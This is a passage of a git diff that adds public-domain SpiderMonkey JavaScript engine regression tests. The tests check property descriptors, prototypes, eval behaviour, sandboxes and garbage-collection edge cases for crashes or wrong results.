+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var expect, actual;
+
+var obj = {
+ f: function() {
+ expect = this.g;
+ actual = arguments.callee.caller;
+ print("Ok");
+ }
+};
+
+var obj2 = { __proto__: obj, g: function() { this.f(); }};
+
+var obj3 = { __proto__: obj2, h: function() { this.g(); }};
+
+var obj4 = { __proto__: obj3 }
+
+obj4.h();
+
+reportCompare(expect, actual, "ok");
diff --git a/js/src/tests/non262/regress/regress-586482-5.js b/js/src/tests/non262/regress/regress-586482-5.js
new file mode 100644
index 0000000000..3ddc141931
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-586482-5.js
@@ -0,0 +1,18 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function check() {
+ obj2.__proto__ = null;
+ return arguments.callee.caller;
+}
+
+var obj = { f: function() { check(); }};
+
+var obj2 = { __proto__: obj };
+
+obj2.f();
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-588339.js b/js/src/tests/non262/regress/regress-588339.js
new file mode 100644
index 0000000000..b23f018f95
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-588339.js
@@ -0,0 +1,5 @@
+({})
+eval("{}")
+
+/* Watch for crash. */
+reportCompare(0, 0, "");
diff --git a/js/src/tests/non262/regress/regress-591846.js b/js/src/tests/non262/regress/regress-591846.js
new file mode 100644
index 0000000000..68b1feca3c
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-591846.js
@@ -0,0 +1,64 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function check(obj, name, value, readonly) {
+ // Start with a non-configurable, writable data property implemented via
+ // js::PropertyOp getter and setter.
+ var pd = Object.getOwnPropertyDescriptor(obj, name);
+
+ assertEq(pd.configurable, false, "non-configurable " + name);
+ assertEq(pd.writable, !readonly, "writable " + name);
+
+ try {
+ // Do not allow a transition from js::PropertyOp to writable js::Value
+ // data property.
+ Object.defineProperty(obj, name, {writable: true});
+ assertEq(0, 1);
+ } catch (e) {
+ assertEq('' + e, "TypeError: can't redefine non-configurable property '" + name + "'");
+ }
+
+ if (!readonly) {
+ try {
+ // Do not allow the property denoted by name to become a true data
+ // property via a descriptor that preserves the native property's
+ // writable attribute.
+ Object.defineProperty(obj, name, {value: value});
+ assertEq(0, 1);
+ } catch (e) {
+ assertEq('' + e, "TypeError: can't redefine non-configurable property '" + name + "'");
+ }
+ }
+
+ try {
+ // Do not allow the property to be frozen at some bogus value.
+ Object.defineProperty(obj, name, {value: "bogus", writable: false});
+ assertEq(0, 1);
+ } catch (e) {
+ assertEq('' + e, "TypeError: can't redefine non-configurable property '" + name + "'");
+ }
+
+ // Now make name non-writable.
+ Object.defineProperty(obj, name, {writable: false})
+
+ // Assert that the right getter result "stuck".
+ assertEq(obj[name], value);
+
+ // Test that it is operationally non-writable now.
+ obj[name] = "eek!";
+ assertEq(obj[name], value);
+}
+
+// Reset RegExp.leftContext to the empty string.
+/x/.test('x');
+
+var d = Object.getOwnPropertyDescriptor(RegExp, "leftContext");
+assertEq(d.set, undefined);
+assertEq(typeof d.get, "function");
+assertEq(d.enumerable, true);
+assertEq(d.configurable, false);
+assertEq(d.get.call(RegExp), "");
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-591897.js b/js/src/tests/non262/regress/regress-591897.js
new file mode 100644
index 0000000000..b4486bba8e
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-591897.js
@@ -0,0 +1,13 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributor: Gary Kwong <gary@rumblingedge.com>
+
+var expect = 42;
+var actual = (function({
+ x: [w]
+},
+x) {
+ with({}) {return w;}
+})({x:[42]});
+
+reportCompare(expect, actual, "ok");
diff --git a/js/src/tests/non262/regress/regress-592202-3.js b/js/src/tests/non262/regress/regress-592202-3.js
new file mode 100644
index 0000000000..db44245b04
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-592202-3.js
@@ -0,0 +1,28 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+test();
+
+function test()
+{
+ var counter = 0;
+ function f(x,y) {
+ try
+ {
+ throw 42;
+ }
+ catch(e2)
+ {
+ foo(function(){ return x; }| "9.2" && 5 || counter && e);
+ ++counter;
+ }
+ }
+
+ f(2, 1);
+}
+
+function foo(bar) { return ""+bar; }
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-592202-4.js b/js/src/tests/non262/regress/regress-592202-4.js
new file mode 100644
index 0000000000..7425280565
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-592202-4.js
@@ -0,0 +1,31 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function p() { }
+
+function test()
+{
+ var counter = 0;
+
+ function f(x) {
+ try
+ {
+ throw 42;
+ }
+ catch(e)
+ {
+ assertEq(counter, 0);
+ p(function(){x;});
+ counter = 1;
+ }
+ }
+
+ f(2);
+ assertEq(counter, 1);
+}
+
+test();
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-592556-c35.js b/js/src/tests/non262/regress/regress-592556-c35.js
new file mode 100644
index 0000000000..c2ceb4a321
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-592556-c35.js
@@ -0,0 +1,20 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributor: Jason Orendorff <jorendorff@mozilla.com>
+
+var obj = {a: 0, b: 1, c: 2};
+delete obj.b; // switch to dictionary mode
+Object.defineProperty(obj, 'g',
+ {get: function () { return -1; }, configurable: true});
+for (var i = 3; i < 20; i++)
+ obj['x' + i] = i; // get property table
+for (var i = 3; i < 20; i++)
+ delete obj['x' + i]; // add to freelist
+delete obj.g; // must update lastProp->freeslot, to avoid assertion
+
+// extra junk to try to hit the assertion, if freeslot is not updated
+gc();
+obj.d = 3;
+obj.e = 4;
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/regress/regress-593256.js b/js/src/tests/non262/regress/regress-593256.js
new file mode 100644
index 0000000000..fe24bee40b
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-593256.js
@@ -0,0 +1,21 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+eval("\
+ (function(){for(d in[0,Number]) {\
+ this.__defineGetter__(\"\",function(){}),\
+ [(this.__defineGetter__(\"x\",Math.pow))]\
+ }})\
+")()
+delete gc
+eval("\
+ (function() {\
+ for(e in this.__defineSetter__(\"x\",function(){})){}\
+ })\
+")()
+delete gc
+
+reportCompare(true, true, "don't crash");
diff --git a/js/src/tests/non262/regress/regress-595230-2.js b/js/src/tests/non262/regress/regress-595230-2.js
new file mode 100644
index 0000000000..02499df769
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-595230-2.js
@@ -0,0 +1,10 @@
+// |reftest| fails-if(!xulRuntime.shell)
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributors: Jason Orendorff <jorendorff@mozilla.com>
+
+var s = evalcx("");
+delete s.Object;
+evalcx("var x;", s);
+
+this.reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-595365-1.js b/js/src/tests/non262/regress/regress-595365-1.js
new file mode 100644
index 0000000000..1010d88531
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-595365-1.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/*
+ * NB: this test hardcodes the value of MAX_PROPERTY_TREE_HEIGHT.
+ */
+var i = 0;
+function add0to64(o) {
+ o.p00 = ++i;o.p01 = ++i;o.p02 = ++i;o.p03 = ++i;o.p04 = ++i;o.p05 = ++i;o.p06 = ++i;o.p07 = ++i;
+ o.p10 = ++i;o.p11 = ++i;o.p12 = ++i;o.p13 = ++i;o.p14 = ++i;o.p15 = ++i;o.p16 = ++i;o.p17 = ++i;
+ o.p20 = ++i;o.p21 = ++i;o.p22 = ++i;o.p23 = ++i;o.p24 = ++i;o.p25 = ++i;o.p26 = ++i;o.p27 = ++i;
+ o.p30 = ++i;o.p31 = ++i;o.p32 = ++i;o.p33 = ++i;o.p34 = ++i;o.p35 = ++i;o.p36 = ++i;o.p37 = ++i;
+ o.p40 = ++i;o.p41 = ++i;o.p42 = ++i;o.p43 = ++i;o.p44 = ++i;o.p45 = ++i;o.p46 = ++i;o.p47 = ++i;
+ o.p50 = ++i;o.p51 = ++i;o.p52 = ++i;o.p53 = ++i;o.p54 = ++i;o.p55 = ++i;o.p56 = ++i;o.p57 = ++i;
+ o.p60 = ++i;o.p61 = ++i;o.p62 = ++i;o.p63 = ++i;o.p64 = ++i;o.p65 = ++i;o.p66 = ++i;o.p67 = ++i;
+ o.p70 = ++i;o.p71 = ++i;o.p72 = ++i;o.p73 = ++i;o.p74 = ++i;o.p75 = ++i;o.p76 = ++i;o.p77 = ++i;
+ o.p100 = ++i;
+ return o;
+}
+function add65th(o) {
+ o.p101 = ++i;
+}
+var o = add0to64({});
+add65th(o);
+delete o.p101;
+add65th(o);
+
+reportCompare(true, true, "don't crash");
diff --git a/js/src/tests/non262/regress/regress-596103.js b/js/src/tests/non262/regress/regress-596103.js
new file mode 100644
index 0000000000..2b19100964
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-596103.js
@@ -0,0 +1,13 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributor: Gary Kwong <gary@rumblingedge.com>, Jesse Ruderman <jruderman@gmail.com>
+
+for (var u = 0; u < 3; ++u) {
+ var y = [];
+ Object.create(y);
+ gc();
+ y.t = 3;
+ gc();
+}
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/regress/regress-596805-1.js b/js/src/tests/non262/regress/regress-596805-1.js
new file mode 100644
index 0000000000..c008beb380
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-596805-1.js
@@ -0,0 +1,14 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var f = function(){};
+for (var y in f);
+f.j = 0;
+Object.defineProperty(f, "k", ({configurable: true}));
+delete f.j;
+Object.defineProperty(f, "k", ({get: function() {}}));
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-596805-2.js b/js/src/tests/non262/regress/regress-596805-2.js
new file mode 100644
index 0000000000..a63df96982
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-596805-2.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+for(let c of [0, 0, 0, 0, 0]) {
+ try { (function() {
+ this.c = this;
+ this.e = arguments;
+ Object.defineProperty(this, "d", {
+ get: Math.pow,
+ configurable: true
+ });
+ delete this.e;
+ delete this.c;
+ Object.defineProperty(this, "d", {
+ writable: true
+ });
+ if (Math.tan( - 1)) {
+ Object.defineProperty(this, {});
+ }
+ } (c));
+ } catch(e) {}
+}
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-597945-1.js b/js/src/tests/non262/regress/regress-597945-1.js
new file mode 100644
index 0000000000..e4bd77dac7
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-597945-1.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var arguments;
+
+function b(foo) {
+ delete foo.d
+ delete foo.w
+ foo.d = true
+ foo.w = Object
+ delete Object.defineProperty(foo, "d", ({
+ set: Math.w
+ })); {}
+}
+for(e of [arguments, arguments]) {
+ try {
+ b(e)('')
+ } catch (e) {}
+}
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-597945-2.js b/js/src/tests/non262/regress/regress-597945-2.js
new file mode 100644
index 0000000000..ca5b2e1627
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-597945-2.js
@@ -0,0 +1,13 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var a = {d: true, w: true};
+Object.defineProperty(a, "d", {set: undefined});
+delete a.d;
+delete a.w;
+a.d = true;
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-598176.js b/js/src/tests/non262/regress/regress-598176.js
new file mode 100644
index 0000000000..754edf2392
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-598176.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function make() {
+ var r = {};
+ r.desc = {get: function() {}};
+ r.a = Object.defineProperty({}, "prop", r.desc);
+ r.info = Object.getOwnPropertyDescriptor(r.a, "prop");
+ return r;
+}
+
+r1 = make();
+assertEq(r1.desc.get, r1.info.get);
+
+// Distinct evaluations of an object literal make distinct methods.
+r2 = make();
+assertEq(r1.desc.get === r2.desc.get, false);
+
+r1.info.get.foo = 42;
+
+assertEq(r1.desc.get.hasOwnProperty('foo'), !r2.desc.get.hasOwnProperty('foo'));
+assertEq(r1.info.get.hasOwnProperty('foo'), !r2.info.get.hasOwnProperty('foo'));
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-600067.js b/js/src/tests/non262/regress/regress-600067.js
new file mode 100644
index 0000000000..4bcf57406a
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-600067.js
@@ -0,0 +1,16 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/*
+ * NB: this test hardcodes for the value of PropertyTable::HASH_THRESHOLD (6).
+ */
+
+function s(e) {
+ var a, b, c, d;
+ function e() { }
+}
+
+reportCompare(0, 0, "don't crash");
diff --git a/js/src/tests/non262/regress/regress-601399.js b/js/src/tests/non262/regress/regress-601399.js
new file mode 100644
index 0000000000..7f727c697c
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-601399.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ *
+ * Test courtesy of Olov Lassus <olov.lassus@gmail.com>.
+ */
+
+function keys(o) {
+ var a = [];
+ for (var key in o) {
+ a.push(key);
+ }
+ return a;
+}
+
+var obj = {
+ 'a': function() {}, 'b': function() {}, 'c': function() {}
+};
+var orig_order = keys(obj).toString();
+var tmp = obj["b"];
+var read_order = keys(obj).toString();
+
+reportCompare(orig_order, read_order,
+ "property enumeration order should not change after reading a method value");
diff --git a/js/src/tests/non262/regress/regress-602621.js b/js/src/tests/non262/regress/regress-602621.js
new file mode 100644
index 0000000000..bf9eaffecb
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-602621.js
@@ -0,0 +1,15 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function test(arg) {
+ eval(arg);
+ {
+ function arguments() { return 1; }
+ }
+ return arguments;
+}
+
+reportCompare("function", typeof test("42"), "function sub-statement must override arguments");
diff --git a/js/src/tests/non262/regress/regress-607799.js b/js/src/tests/non262/regress/regress-607799.js
new file mode 100644
index 0000000000..f1111dd67c
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-607799.js
@@ -0,0 +1,2 @@
+// |reftest| fails-if(!xulRuntime.shell)
+reportCompare(typeof(evalcx("/x/")), "object")
diff --git a/js/src/tests/non262/regress/regress-607863.js b/js/src/tests/non262/regress/regress-607863.js
new file mode 100644
index 0000000000..14a4ce3d3a
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-607863.js
@@ -0,0 +1,14 @@
+// |reftest| fails-if(!xulRuntime.shell)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var sandbox = evalcx('');
+var foreign = evalcx('({ get f() { return this; }, set x(v) { result = this } })', sandbox);
+var local = Object.create(foreign);
+
+reportCompare(local, local.f, "this should be set correctly in getters");
+local.x = 42;
+reportCompare(local, sandbox.result, "this should be set correctly in setters");
diff --git a/js/src/tests/non262/regress/regress-609617.js b/js/src/tests/non262/regress/regress-609617.js
new file mode 100644
index 0000000000..0a530ec530
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-609617.js
@@ -0,0 +1,85 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var actual;
+var expect = "pass";
+
+var x = "fail";
+function f() {
+ var x = "pass";
+ delete(eval("actual = x"));
+}
+f();
+assertEq(actual, expect);
+
+function g() { return 1 }
+function h() { function g() { throw 2; } eval('g()')++; }
+
+try {
+ h();
+ assertEq(0, -1);
+} catch (e) {
+ assertEq(e, 2);
+}
+
+var lhs_prefix = ["", "++", "--", "", "", "[", "[y, " ];
+var lhs_suffix = [" = 'no'", "", "", "++", "--", ", y] = [3, 4]", "] = [5, 6]"];
+
+for (var i = 0; i < lhs_prefix.length; i++) {
+ try {
+ eval(lhs_prefix[i] + "eval('x')" + lhs_suffix[i]);
+ assertEq(i, -2);
+ } catch (e) {
+ if (/\[/.test(lhs_prefix[i])) {
+ assertEq(e.message, "invalid destructuring target");
+ } else {
+ /*
+ * NB: JSOP_SETCALL throws only JSMSG_ASSIGN_TO_CALL, it does not
+ * specialize for ++ and -- as the compiler's error reporting does. See
+ * the next section's forked assertEq code.
+ */
+ assertEq(e.message, "cannot assign to function call");
+ }
+ }
+}
+
+/* Now test for strict mode rejecting any SETCALL variant at compile time. */
+for (var i = 0; i < lhs_prefix.length; i++) {
+ try {
+ eval("(function () { 'use strict'; " + lhs_prefix[i] + "foo('x')" + lhs_suffix[i] + "; })");
+ assertEq(i, -3);
+ } catch (e) {
+ if (/\+\+|\-\-/.test(lhs_prefix[i] || lhs_suffix[i]))
+ assertEq(e.message, "invalid increment/decrement operand");
+ else if (/\[/.test(lhs_prefix[i]))
+ assertEq(e.message, "invalid destructuring target");
+ else
+ assertEq(e.message, "invalid assignment left-hand side");
+ }
+}
+
+/*
+ * The useless delete is optimized away, but the SETCALL must not be. It's not
+ * an early error, though.
+ */
+var fooArg;
+function foo(arg) { fooArg = arg; }
+try {
+ eval("delete (foo('x') = 42);");
+ assertEq(0, -4);
+} catch (e) {
+ assertEq(e.message, "cannot assign to function call");
+}
+assertEq(fooArg, 'x');
+
+/* Delete of a call expression is not an error at all, even in strict mode. */
+function g() {
+ "use strict";
+ assertEq(delete Object(), true);
+}
+g();
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-610026.js b/js/src/tests/non262/regress/regress-610026.js
new file mode 100644
index 0000000000..499169c491
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-610026.js
@@ -0,0 +1,49 @@
+// |reftest| slow
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var expect = "pass";
+var actual;
+
+// Scripts used to be limited to 2**20 blocks, but no longer since the frontend
+// rewrite. The exact limit-testing here should all pass now, not pass for
+// 2**20 - 1 and fail for 2**20.
+var s = "{}";
+for (var i = 0; i < 21; i++)
+ s += s;
+
+try {
+ eval(s);
+ actual = "pass";
+} catch (e) {
+ actual = "fail: " + e;
+}
+
+assertEq(actual, expect);
+
+s += s.slice(0, -4);
+
+try {
+ eval(s);
+ actual = "pass";
+} catch (e) {
+ actual = "fail: " + e;
+}
+
+assertEq(actual, expect);
+
+s += "{}";
+
+try {
+ eval(s);
+ actual = "pass";
+} catch (e) {
+ actual = "fail: " + e;
+}
+
+assertEq(actual, expect);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-614714.js b/js/src/tests/non262/regress/regress-614714.js
new file mode 100644
index 0000000000..4d387279cd
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-614714.js
@@ -0,0 +1,12 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+function f(reportCompare) {
+ if (typeof clear === 'function')
+ clear(this);
+ return f;
+}
+
+// This must be called before clear().
+reportCompare(0, 0, 'ok');
+f(); // don't assert
diff --git a/js/src/tests/non262/regress/regress-617405-1.js b/js/src/tests/non262/regress/regress-617405-1.js
new file mode 100644
index 0000000000..f8625496c9
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-617405-1.js
@@ -0,0 +1,11 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributors: Christian Holler <decoder@own-hero.net> and Jason Orendorff
+ */
+
+function C(){}
+C.prototype = 1;
+assertEq(Object.getOwnPropertyDescriptor(C, "prototype").configurable, false);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-617405-2.js b/js/src/tests/non262/regress/regress-617405-2.js
new file mode 100644
index 0000000000..76e59b663e
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-617405-2.js
@@ -0,0 +1,17 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributors: Christian Holler <decoder@own-hero.net> and Jason Orendorff
+ */
+
+function C(){}
+C.prototype = 1;
+try {
+ Object.defineProperty(C, "prototype", {get: function() { throw 0; }});
+ actual = "no exception";
+} catch (exc) {
+ actual = exc.name;
+}
+new C; // don't assert
+assertEq(actual, "TypeError");
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-618572.js b/js/src/tests/non262/regress/regress-618572.js
new file mode 100644
index 0000000000..f2995295ef
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-618572.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 618572;
+var summary = 'Do not assert when ungetting a Unicode char sequence';
+var actual = '';
+var expect = '';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'SyntaxError';
+
+ try
+ {
+ eval("var a\\0021 = 3;");
+ }
+ catch(ex)
+ {
+ actual = ex.constructor.name;
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-619003-1.js b/js/src/tests/non262/regress/regress-619003-1.js
new file mode 100644
index 0000000000..6a9fd3b50e
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-619003-1.js
@@ -0,0 +1,20 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+var expect = 'SyntaxError: duplicate argument names not allowed in this context';
+var actual = 'No error';
+
+var a = [];
+
+// Test up to 200 to cover tunables such as js::PropertyTree::MAX_HEIGHT.
+for (var i = 0; i < 200; i++) {
+ a.push("b" + i);
+ try {
+ eval("(function ([" + a.join("],[") + "],a,a){})");
+ } catch (e) {
+ actual = '' + e;
+ }
+ assertEq(actual, expect);
+}
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-619003-2.js b/js/src/tests/non262/regress/regress-619003-2.js
new file mode 100644
index 0000000000..643286f241
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-619003-2.js
@@ -0,0 +1,9 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+var expect = "global";
+var actual = expect;
+function f([actual]) { }
+f(["local"]);
+reportCompare(expect, actual, "ok");
diff --git a/js/src/tests/non262/regress/regress-620376-1.js b/js/src/tests/non262/regress/regress-620376-1.js
new file mode 100644
index 0000000000..de55a18c24
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-620376-1.js
@@ -0,0 +1,24 @@
+// |reftest| skip-if(Android)
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributors: Igor Bukanov
+ */
+
+// Test that we can terminate looping array enumeration
+function test() {
+ if (typeof timeout != "function")
+ return;
+
+ var p = new Proxy({}, { onwKeys: function() { return Array(1e9); }});
+
+ expectExitCode(6);
+ timeout(0.001);
+
+ var n = 0;
+ for (i in p) { ++n;}
+ return n;
+}
+
+test();
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-624547.js b/js/src/tests/non262/regress/regress-624547.js
new file mode 100644
index 0000000000..659b64750e
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-624547.js
@@ -0,0 +1,16 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function f(x) {
+ delete arguments[0];
+ for(var i=0; i<20; i++) {
+ arguments[0] !== undefined;
+ }
+}
+
+/* Don't crash. */
+f(1);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-624968.js b/js/src/tests/non262/regress/regress-624968.js
new file mode 100644
index 0000000000..b631df90ac
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-624968.js
@@ -0,0 +1,9 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributor: Bob Clary <bclary@bclary.com>
+
+try {
+ new {prototype: TypeError.prototype};
+} catch (e) {}
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/regress/regress-626436.js b/js/src/tests/non262/regress/regress-626436.js
new file mode 100644
index 0000000000..09b9093d73
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-626436.js
@@ -0,0 +1,7 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributors: Christian Holler <decoder@own-hero.net>, Jesse Ruderman <jruderman@gmail.com>
+
+(1 ? 2 : delete(0 ? 0 : {})).x;
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/regress/regress-633741.js b/js/src/tests/non262/regress/regress-633741.js
new file mode 100644
index 0000000000..5f32d4702a
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-633741.js
@@ -0,0 +1,18 @@
+// |reftest| skip-if(!xulRuntime.shell) -- preventExtensions on global
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributors: Jan de Mooij
+ */
+
+Object.preventExtensions(this);
+delete Function;
+
+try {
+ /* Don't assert. */
+ Object.getOwnPropertyNames(this);
+} catch(e) {
+ reportCompare(true, false, "this shouldn't have thrown");
+}
+reportCompare(0, 0, "ok");
+
diff --git a/js/src/tests/non262/regress/regress-634210-1.js b/js/src/tests/non262/regress/regress-634210-1.js
new file mode 100644
index 0000000000..02a1e14f1f
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-634210-1.js
@@ -0,0 +1,11 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function f() {}
+f.p = function() {};
+Object.freeze(f);
+f.p;
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-634210-2.js b/js/src/tests/non262/regress/regress-634210-2.js
new file mode 100644
index 0000000000..28adc55525
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-634210-2.js
@@ -0,0 +1,13 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var a = [];
+for (var i = 0; i < 2; i++) {
+ a[i] = {m: function () {}};
+ Object.defineProperty(a[i], "m", {writable: false});
+}
+assertEq(a[0].m === a[1].m, false);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-634210-3.js b/js/src/tests/non262/regress/regress-634210-3.js
new file mode 100644
index 0000000000..e3ec7d81bc
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-634210-3.js
@@ -0,0 +1,13 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var a = [];
+for (var i = 0; i < 2; i++) {
+ a[i] = {m: function () {}};
+ Object.defineProperty(a[i], "m", {configurable: false});
+}
+assertEq(a[0].m === a[1].m, false);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-634210-4.js b/js/src/tests/non262/regress/regress-634210-4.js
new file mode 100644
